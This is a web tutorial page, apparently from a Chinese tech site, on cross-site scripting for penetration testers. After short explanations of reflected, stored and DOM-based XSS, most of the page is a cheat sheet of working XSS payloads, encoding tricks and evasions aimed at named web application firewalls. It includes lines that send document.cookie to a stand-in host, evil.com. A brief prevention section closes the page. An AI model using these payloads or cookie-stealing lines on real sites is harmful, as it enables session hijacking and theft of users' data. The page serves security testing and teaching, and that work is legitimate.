JIYIK CN >

Current Location:Home > Learning > NETWORK >

The Penetration Tester's Guide to Cross-Site Scripting (XSS)

Author:JIYIK Last Updated:2025/03/17 Views:

What is Cross-Site Scripting?

A cross-site scripting (XSS) attack is a type of injection where a malicious script is injected into an otherwise benign and trusted website. XSS attacks occur when an attacker uses a web application to send malicious code, usually in the form of a browser-side script, to a different end user. Vulnerabilities that allow these attacks to succeed are extremely common and can occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way of knowing that the script should not be trusted and executes it. Because it thinks the script is from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information that the browser retains and uses with the site. These scripts can even rewrite the content of the HTML page.

XSS cross-site scripting attack flow chart

There are 3 types of XSS attacks:

  • Reflected XSS
  • Stored XSS
  • DOM-based XSS

Reflected attacks are attacks where injected script is reflected from a web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to the victim through other means, such as in an email message or on another website. When a user is tricked into clicking a malicious link, submitting a specially crafted form, or even just browsing a malicious website, the injected code is propagated to the vulnerable website, reflecting the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is sometimes also called non-persistent or Type II XSS.

Storage attacks are where the injected script is permanently stored on the target server, such as in a database, message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when requesting the stored information. Storage XSS is sometimes also called Persistent or Type-I XSS.

DOM-based XSS (also referred to as "type-0 XSS" in some texts) is an XSS attack in which the attack payload is executed by modifying the DOM "environment" used by the original client-side script in the victim's browser so that the client-side code behaves in an "unexpected" manner. That is, the page itself (i.e., the HTTP response) is not changed, but the client-side code contained in the page executes differently due to the malicious modifications that occurred in the DOM environment.

Another type of XSS, called Self-XSS , is usually less impactful and cannot be exploited without user interaction. It operates by tricking the user into copying and pasting malicious content into the browser's web developer console.


What is the impact of XSS?

An attacker exploiting a cross-site scripting vulnerability would typically be able to:

  • Impersonate or pretend to be the victim user
  • Hijacking user sessions
  • Conducting unauthorized activities
  • Stealing sensitive information
  • Performing a phishing attack
  • Capture the user's login credentials.
  • Capturing keystrokes
  • Destroy the website.
  • Inject Trojan horse functionality into the website.

How to Exploit XSS?

When exploiting XSS vulnerabilities, you should understand how the application behaves with specific payloads. Before exploiting XSS vulnerabilities, you can consider the following checklist:

  • Find blacklisted/filtered characters. We can use XSS locator for this:
    '';! - "<XSS>=&{()}
    
  • Observe which tags are blocked by the WAF and which keywords are allowed (iframe, img, body, etc.)
  • Try character encodings (URL encoding, double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, hexadecimal encoding, etc.)
  • Try using HTML quote encapsulation XSS
  • Try URL string evasion
  • Create a list of payloads based on allowed keywords
  • Brute-forcing the application using the list of XSS payloads we just created

注意: You can try double URL encoding, because the first decoding process is performed by the HTTP protocol, so the encoded URL will bypass the XSS filter.


memorandum

XSS Locator:

'';!--"<XSS>=&{()}

Classic payload:

<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//

Bypass script tag filter:

<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

HTML Tags

<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/vulonmpw.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

Tags

<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

Character Code

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

If the input is already in a script tag:

@domain.com">user+'-alert`1`-'@domain.com

AngularJS:

{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)

No Script

<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

Unclosed tags

<svg onload=alert(1)//

DOM XSS

“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

Other Use Cases

param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors

Bypass restrictions

brackets

<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

Brackets and no semicolon:

<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

No brackets or spaces

<script>Function`X${document.location.hash.substr`1`}```</script>

Angle bracket HTML encoding (in attributes):

“onmouseover=“alert(1)
‘-alert(1)-’

If the quotes are escaped:

‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Embed tab, line break, carriage return to decompose XSS:

<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

other

<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

coding

Unicode:

<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

Hex:

<script>eval('\x61lert(1)')</script>

HTML:

<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

URL:

<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

Double URL Encoding

%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Unicode + HTML:

<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

HTML + URL:

<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

Bypassing WAF

Imperva Incapsula:

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

WebKnight:

<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

Big IP:

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

Barracuda WAF:

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

PHP-IDS:

<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

Mod-Security:

<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

Quick Defense:

<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

Sucuri WAF:

1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

How to prevent it?

Filter based on patterns or regular expressions and determine the type of data that the system accepts and does not accept.

  • Use a security framework to automatically encode content to prevent XSS by design. Encoding untrusted HTTP request data into HTML output fields (body, attributes, JavaScript, CSS, or URLs) addresses both reflected and stored XSS.
  • Sanitize all data input and avoid any kind of special characters.
  • Accept all types of data, but escape them properly.
  • All types of data are accepted, but inappropriate content is removed.
  • Accepts all types of data but converts them to acceptable data types.

For reprinting, please send an email to 1244347461@qq.com for approval. After obtaining the author's consent, kindly include the source as a link.

Article URL:

Related Articles

PHP+ajax to achieve cross-domain single sign-on

Publish Date:2025/03/16 Views:145 Category:NETWORK

We have previously introduced the principle of cross-domain single sign-on in "Detailed explanation of the implementation methods of three situations of SSO single sign-on" . Here we will introduce how to implement single sign-on using PHP

WeChat public account development tutorial to obtain access_token

Publish Date:2025/03/16 Views:65 Category:NETWORK

During the development of WeChat official accounts, if we want to actively push messages to the WeChat server, we must have access_token. Access_token is the only ticket for the official account. When we develop and call various WeChat inte

WeChat public account receiving message event message processing

Publish Date:2025/03/16 Views:79 Category:NETWORK

As we know, there are two types of messages generated by the interaction between WeChat users and public accounts: one is ordinary messages, which are introduced in detail in the article "Ordinary message processing for WeChat public accoun

IE's Ajax cross-domain issue

Publish Date:2025/03/16 Views:190 Category:NETWORK

Ajax is widely used in web systems, but cross-domain issues are often encountered in web systems. By default, browsers prohibit Ajax cross-domain access. The IE browser has particularly strict restrictions. For browsers such as Firefox, Goo

How to redirect a website from HTTP to HTTPS

Publish Date:2025/03/16 Views:117 Category:NETWORK

HTTPS is a protocol for secure communication over computer networks and is widely used on the Internet. More and more website owners are migrating from HTTP to HTTPS, mainly due to the following 5 reasons: Google announced that websites usi

How to Fix the “SSL Handshake Failed” Error (5 Methods)

Publish Date:2025/03/16 Views:96 Category:NETWORK

Installing a Secure Sockets Layer (SSL) certificate on your WordPress site enables it to use HTTPS for a secure connection. Unfortunately, there are a lot of things that can go wrong in the process of verifying a valid SSL certificate and e

10 Ways to Fix NET::ERR_CERT_DATE_INVALID Error

Publish Date:2025/03/16 Views:136 Category:NETWORK

Having an SSL certificate gives people more peace of mind when using your website. When the NET::ERR_CERT_DATE_INVALID error indicates a problem with the certificate, it blocks visitors from accessing your website until the problem is fixed

Scan to Read All Tech Tutorials

Social Media
  • https://www.github.com/onmpw
  • qq:1244347461

Recommended

Tags

Scan the Code
Easier Access Tutorial